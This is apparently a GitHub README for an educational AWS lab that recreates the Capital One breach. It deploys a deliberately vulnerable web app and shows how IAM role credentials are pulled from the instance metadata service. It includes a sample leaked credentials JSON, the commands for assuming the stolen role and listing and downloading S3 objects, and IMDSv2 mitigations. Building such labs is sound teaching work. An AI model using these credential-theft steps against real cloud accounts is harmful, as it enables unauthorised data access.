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Repository demonstrating the Capital One breach on your AWS account
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caponeme is a vulnerable cloud environment that meant to mock Capital One Breach for educational purposes


This CloudFormation template is NOT intended for deployment in a production account / environment. It is an example for a vulnerable web application that allows AWS credentials being compromised. Please use this with CAUTION and consider using new AWS account for this kind of experiment.

What is Capital One Breach?

Click here to find out

Getting Started

  • Make sure you have the latest version of awscli installed on your terminal.
  • Make sure you run this from the us-east-1 (North Virginia) region on the AWS Console.
  • To get access to the Bitnami LAMP Stack AMI, visit, click on "Continue to Subscribe" and then click on "Accept Terms".


  • Download the capmeonesim.yaml file.
  • Log in to the AWS console
  • Go to CloudFormation service
  • Create new stack and upload the capmeonesim.yaml file you downloaded.
  • Allow the template to create IAM resources on your behalf and create the stack.
  • Take note of the S3 Bucket name from the CloudFormation Template Outputs, navigate to this bucket and upload some text files inside
  • Click on the SSRFWebURL URL from the CloudFormation Template Outputs, it will redirect you to the vulnerable web application.

This is the page you should expect to see: image

Discovering the contents of the S3 Bucket

{ "Code" : "Success", "LastUpdated" : "2019-12-22T21:42:57Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIASANNLTVCBCFP445O", "SecretAccessKey" : "v0osgTGnL0n09dHQA6xztS/ZuSS3p8yu+JZ1cAxG", "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIDneXlD6+JLk68XRrQ4X+LrBewvq/9kIYRYhonnW5T9qAiEAmpuGWXeh4rqQ14gmiMU8NvKlxODFh23u5qubMpvC9Rkq0QIIHxABGgwxMzgzMzkzOTI4MzYiDCO/mt42DCCYPTmeJSquAstMGvng3WUgZXlgpm5NiJ+RbYQvnmA1BmIt94LcJeoNpC87MZhxpubTd69zWEqtriLRBXp7KoNQNX5K8ag5eY27R0giQssmidCFED9N/uOgD1Tu33vaVEJoFhzKrd1lhFule3EOHFhImRRGsyfalfY7TWN0GaRNGZlanWdBswpkescM3O43G9J27xeMO22ziu4ajonkCaG51r39/LKj5C1g2VfdXPp5sI0q5+qiG0YSXveN6mGqnN5NXAKNGd4ehYdo4Ot01niy0oS9xtDMLSTVu3XjaxGJwqF5fb4l8Q9zGFe3zA94UShK1uGRBWOfTMHZRwaGYRSTcwximDjEWO4UPKYa50Es5d/12hJdwuFIXPC82i9LyBHXw/ayYn1xyH3bpBwBoYHiereBSuMmMNPG/+8FOs4CX49Hw3xx4pz2/ibkiJ1hjh2/Qu4KZtfTk4SN49q/EAgmP6dx6l/17pRi+T+B7bGk+cES0Ei2806uoTArK8STiO/W3PejELPeoWgy2av+oiL/zt4xXI+hNFdO1xXZXrBGaLbKTZRby+MyrvmDw8GJpxmE1Pyt42pRjxdeQ0NLEcM05JHtxq0/73tEUepsm0Z+6RUqXi9+/BSaP1tRzViApch36d8oJgWARZY5A1eX1d82hCeCiGgNuZxPWC53H3lNXjSRC3dGrx3dI8IJwXgQgEj8e3QP4eeoN3+3H2XFlXE+DopMy6P4ejk8c6Xdk41FbJZrTe1ZoulF2OxLfQbmCOcl85xqJyDEWuZleddagb3jr/Kp7X3Io4bgA+cc0kuQEdLEkfWsKoE8G/uCkSy+tFwn0eqAUmoLVqCxmXS++ZOK3+VX1axY1EMzp68S1g==", "Expiration" : "2019-12-23T04:17:43Z" }
  • If using Linux, type the following on your terminal to impersonate the IAM role

    export AWS_ACCESS_KEY_ID="<AccessKeyId>"
    export AWS_SECRET_ACCESS_KEY="<SecretAccessKey>"
    export AWS_SESSION_TOKEN="<Token>"
  • If using Windows, type the following on your terminal to impersonate the IAM role

    set AWS_ACCESS_KEY_ID=<AccessKeyId>
    set AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
    set AWS_SESSION_TOKEN=<Token>

    Note: Do not include quotes when setting Windows env variables.

  • Now, you can see all the objects inside this bucket with aws s3api list-objects --bucket <YOUR-S3-BUCKET>

  • Then, you can download the bucket objects using aws s3api get-object --bucket <YOUR-S3-BUCKET> --key <YOUR-S3-OBJECT> demo.txt


Mitigation #1 - Enable Security Token on Metadata Service

  • From a privileged shell session on your AWS account (not the hacked session), type the following command to enable security token on metadata server of the instance:

    aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --http-endpoint enabled --http-token required
  • Using your web browser, switch to the vulnerable web application and repeat these steps. What happens?

  • Roll back by running the following command:

    aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --http-endpoint enabled --http-token optional

Mitigation #2 - Limit Role Access Credentials to Instance Metadata Service V2

  • Go to the IAM role attached to the EC2 Instance, by locating the instance, then pressing on the entity written on IAM role. Press on Attach inline policy, then apply the following policy:

        "Version": "2012-10-17",
        "Statement": [
                "Sid": "RequireImdsV2",
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                    "StringNotEquals": {
                        "ec2:MetadataHttpTokens": "required"
  • Call the policy IMDSv2InlinePolicy, press Review policy and then Create policy.

  • Try to run the list-objects or get-object from the "hacked" shell again. What happens?


  • Empty the S3 Bucket
  • Delete the CloudFormation stack (won't work if you haven't cleared the bucket from objects)


  • You tell me?


We're using some tech to make this work:



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